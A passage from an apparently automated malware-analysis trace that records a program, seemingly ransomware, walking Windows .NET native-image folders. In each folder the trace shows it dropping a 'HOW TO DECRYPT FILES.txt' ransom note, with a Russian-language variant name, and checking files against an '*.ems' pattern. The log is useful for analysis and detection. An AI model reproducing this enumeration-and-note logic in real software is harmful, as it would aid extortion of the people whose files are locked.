lpLastWriteTime=0x407556) returned 1 [0107.357] CloseHandle (hObject=0x90) returned 1 [0107.357] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\50691bdee045a2df00f00ac461844c5f\\", lpString2="ehiProxy.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\50691bdee045a2df00f00ac461844c5f\\ehiProxy.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\50691bdee045a2df00f00ac461844c5f\\ehiProxy.ni.dll" [0107.357] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\50691bdee045a2df00f00ac461844c5f\\ehiProxy.ni.dll", pszSpec="*.ems") returned 0 [0107.357] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303f16c7, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x303f16c7, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x8a3d6dca, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x125600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehiProxy.ni.dll", cAlternateFileName="")) returned 0 [0107.357] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.358] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e0f83a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5e0f83a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5e0f83a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="50691bdee045a2df00f00ac461844c5f", cAlternateFileName="50691B~1")) returned 0 [0107.358] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.358] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ff77d80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5ff77d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5ff77d80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680065, dwReserved1=0x500069, cFileName="ehiTVMSMusic", cAlternateFileName="EHITVM~1")) returned 1 [0107.358] lstrcmpA (lpString1=".", lpString2="ehiTVMSMusic") returned -1 [0107.358] lstrcmpA (lpString1="..", lpString2="ehiTVMSMusic") returned -1 [0107.358] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.358] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="ehiTVMSMusic" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic" [0107.358] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ff77d80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5ff77d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5ff77d80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.359] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.359] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ff77d80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5ff77d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5ff77d80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.359] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.359] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.359] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ff77d80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5ff77d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5ff77d80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="32c163c5b3420fb95f4bc8b5a365a6bd", cAlternateFileName="32C163~1")) returned 1 [0107.359] lstrcmpA (lpString1=".", lpString2="32c163c5b3420fb95f4bc8b5a365a6bd") returned -1 [0107.359] lstrcmpA (lpString1="..", lpString2="32c163c5b3420fb95f4bc8b5a365a6bd") returned -1 [0107.359] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\*.*") returned="*.*" [0107.359] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\", lpString2="32c163c5b3420fb95f4bc8b5a365a6bd" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\32c163c5b3420fb95f4bc8b5a365a6bd") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\32c163c5b3420fb95f4bc8b5a365a6bd" [0107.359] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\32c163c5b3420fb95f4bc8b5a365a6bd\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ff77d80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5ff77d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5ff77d80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.360] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.360] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ff77d80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5ff77d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5ff77d80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.360] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.360] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.360] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30417822, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30417822, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9b5bb322, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x16c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehiTVMSMusic.ni.dll", cAlternateFileName="EHITVM~1.DLL")) returned 1 [0107.360] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.360] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehiTVMSMusic.ni.dll") returned -1 [0107.360] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehiTVMSMusic.ni.dll") returned 1 [0107.360] lstrcmpiA (lpString1="", lpString2="ehiTVMSMusic.ni.dll") returned -1 [0107.360] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\32c163c5b3420fb95f4bc8b5a365a6bd\\*.*") returned="*.*" [0107.360] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\32c163c5b3420fb95f4bc8b5a365a6bd\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\32c163c5b3420fb95f4bc8b5a365a6bd\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\32c163c5b3420fb95f4bc8b5a365a6bd\\" [0107.360] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\32c163c5b3420fb95f4bc8b5a365a6bd\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\32c163c5b3420fb95f4bc8b5a365a6bd\\") returned="" [0107.360] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\32c163c5b3420fb95f4bc8b5a365a6bd\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\32c163c5b3420fb95f4bc8b5a365a6bd\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\32c163c5b3420fb95f4bc8b5a365a6bd\\HOW TO DECRYPT FILES.txt" [0107.361] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\32c163c5b3420fb95f4bc8b5a365a6bd\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehitvmsmusic\\32c163c5b3420fb95f4bc8b5a365a6bd\\how to decrypt files.txt")) returned 0xffffffff [0107.361] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\32c163c5b3420fb95f4bc8b5a365a6bd\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehitvmsmusic\\32c163c5b3420fb95f4bc8b5a365a6bd\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.363] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.363] CloseHandle (hObject=0x90) returned 1 [0107.363] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\32c163c5b3420fb95f4bc8b5a365a6bd\\", lpString2="ehiTVMSMusic.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\32c163c5b3420fb95f4bc8b5a365a6bd\\ehiTVMSMusic.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\32c163c5b3420fb95f4bc8b5a365a6bd\\ehiTVMSMusic.ni.dll" [0107.363] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\32c163c5b3420fb95f4bc8b5a365a6bd\\ehiTVMSMusic.ni.dll", pszSpec="*.ems") returned 0 [0107.364] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30417822, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30417822, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9b5bb322, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x16c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehiTVMSMusic.ni.dll", cAlternateFileName="EHITVM~1.DLL")) returned 0 [0107.364] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.364] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ff77d80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5ff77d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5ff77d80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="32c163c5b3420fb95f4bc8b5a365a6bd", cAlternateFileName="32C163~1")) returned 0 [0107.364] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.364] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x600f4b40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x600f4b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x600f4b40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680065, dwReserved1=0x540069, cFileName="ehiUPnP", cAlternateFileName="")) returned 1 [0107.364] lstrcmpA (lpString1=".", lpString2="ehiUPnP") returned -1 [0107.364] lstrcmpA (lpString1="..", lpString2="ehiUPnP") returned -1 [0107.364] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.364] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="ehiUPnP" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP" [0107.364] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x600f4b40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x600f4b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x600f4b40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.364] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.365] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x600f4b40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x600f4b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x600f4b40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.365] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.365] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x600f4b40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x600f4b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x600f4b40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8b58e86c1211cac8bb344ec05015055b", cAlternateFileName="8B58E8~1")) returned 1 [0107.365] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\*.*") returned="*.*" [0107.365] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\", lpString2="8b58e86c1211cac8bb344ec05015055b" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\8b58e86c1211cac8bb344ec05015055b") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\8b58e86c1211cac8bb344ec05015055b" [0107.365] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\8b58e86c1211cac8bb344ec05015055b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x600f4b40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x600f4b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x600f4b40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.368] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x600f4b40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x600f4b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x600f4b40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.368] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3043d97d, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x3043d97d, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9b94d429, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehiUPnP.ni.dll", cAlternateFileName="")) returned 1 [0107.368] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.368] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehiUPnP.ni.dll") returned -1 [0107.368] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehiUPnP.ni.dll") returned 1 [0107.368] lstrcmpiA (lpString1="", lpString2="ehiUPnP.ni.dll") returned -1 [0107.368] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\8b58e86c1211cac8bb344ec05015055b\\*.*") returned="*.*" [0107.368] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\8b58e86c1211cac8bb344ec05015055b\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\8b58e86c1211cac8bb344ec05015055b\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\8b58e86c1211cac8bb344ec05015055b\\" [0107.368] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\8b58e86c1211cac8bb344ec05015055b\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\8b58e86c1211cac8bb344ec05015055b\\") returned="" [0107.368] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\8b58e86c1211cac8bb344ec05015055b\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\8b58e86c1211cac8bb344ec05015055b\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\8b58e86c1211cac8bb344ec05015055b\\HOW TO DECRYPT FILES.txt" [0107.368] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\8b58e86c1211cac8bb344ec05015055b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehiupnp\\8b58e86c1211cac8bb344ec05015055b\\how to decrypt files.txt")) returned 0xffffffff [0107.368] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\8b58e86c1211cac8bb344ec05015055b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehiupnp\\8b58e86c1211cac8bb344ec05015055b\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.371] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\8b58e86c1211cac8bb344ec05015055b\\", lpString2="ehiUPnP.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\8b58e86c1211cac8bb344ec05015055b\\ehiUPnP.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\8b58e86c1211cac8bb344ec05015055b\\ehiUPnP.ni.dll" [0107.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\8b58e86c1211cac8bb344ec05015055b\\ehiUPnP.ni.dll", pszSpec="*.ems") returned 0 [0107.371] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3043d97d, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x3043d97d, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9b94d429, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehiUPnP.ni.dll", cAlternateFileName="")) returned 0 [0107.371] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.371] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x600f4b40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x600f4b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x600f4b40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8b58e86c1211cac8bb344ec05015055b", cAlternateFileName="8B58E8~1")) returned 0 [0107.371] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.371] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f3dd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f3dd240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f3dd240, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680065, dwReserved1=0x550069, cFileName="ehiUserXp", cAlternateFileName="EHIUSE~1")) returned 1 [0107.372] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.372] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="ehiUserXp" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp" [0107.372] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f3dd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f3dd240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f3dd240, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.372] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f3dd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f3dd240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f3dd240, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.372] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f3dd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f3dd240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f3dd240, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a6dc826bf08c95bd5fe459a02bbfd33c", cAlternateFileName="A6DC82~1")) returned 1 [0107.372] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\*.*") returned="*.*" [0107.372] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\", lpString2="a6dc826bf08c95bd5fe459a02bbfd33c" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\a6dc826bf08c95bd5fe459a02bbfd33c") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\a6dc826bf08c95bd5fe459a02bbfd33c" [0107.373] FindFirstFileA (in: 